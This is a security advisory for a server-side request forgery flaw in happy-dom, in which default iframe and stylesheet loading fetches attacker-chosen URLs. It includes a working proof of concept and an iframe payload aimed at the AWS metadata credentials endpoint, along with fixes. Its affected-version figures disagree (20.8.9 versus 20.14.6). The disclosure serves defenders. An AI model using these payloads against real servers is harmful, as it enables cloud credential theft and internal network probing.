GHSA-c8p4-j97h-3vg8: SSRF

Published Oct 28, 2026
·
Updated

Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions - happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has: - disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests - disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests): javascript const http = require('http'); const { Window } = require('happy-dom');

// Start attacker server const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); });

srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

// stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); });

Test output: SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario: javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact - Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports - Data exfiltration — read responses from internal APIs - Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix Change defaults to disable external resource loading: javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Affected Software

1 affected componentFixes available
npm/happy-dom<=20.14.6
21.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/happy-dom to a version that resolves this vulnerability.

    Fixed in 21.0.0
  2. Configuration

    Set disableCSSFileLoading: true and disableIframePageLoading: true to disable external stylesheet and iframe resource loading.

    happy-dom disableCSSFileLoading and disableIframePageLoading = true
  3. Compensating control

    Add URL validation before fetching to block private IP ranges and cloud metadata endpoints.

Event History

Oct 28, 2026
Advisory Published
via GitHub·09:06 PM
Data Sourced
via GitHub·09:06 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments using happy-dom version 20.8.9 or earlier are exposed when they parse attacker-controlled or otherwise untrusted HTML on the server. The default configuration is affected because iframe and stylesheet loading are enabled by default.

2

What does an attacker need to trigger server-side requests?

An attacker needs to supply HTML that is parsed by happy-dom and contains an iframe with a src URL or a stylesheet link with an href URL. No authentication, user interaction, or special happy-dom configuration is required for the default behavior.

3

What can be done if updating is not immediately possible?

Disable iframe page loading and CSS file loading by setting disableIframePageLoading and disableCSSFileLoading to true. This prevents the documented iframe src and stylesheet href fetch behavior.

4

How can I assess whether an application is affected?

Check whether the application uses happy-dom 20.8.9 or earlier to parse untrusted HTML on a server. Also check whether disableIframePageLoading or disableCSSFileLoading remain false, which is the default.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203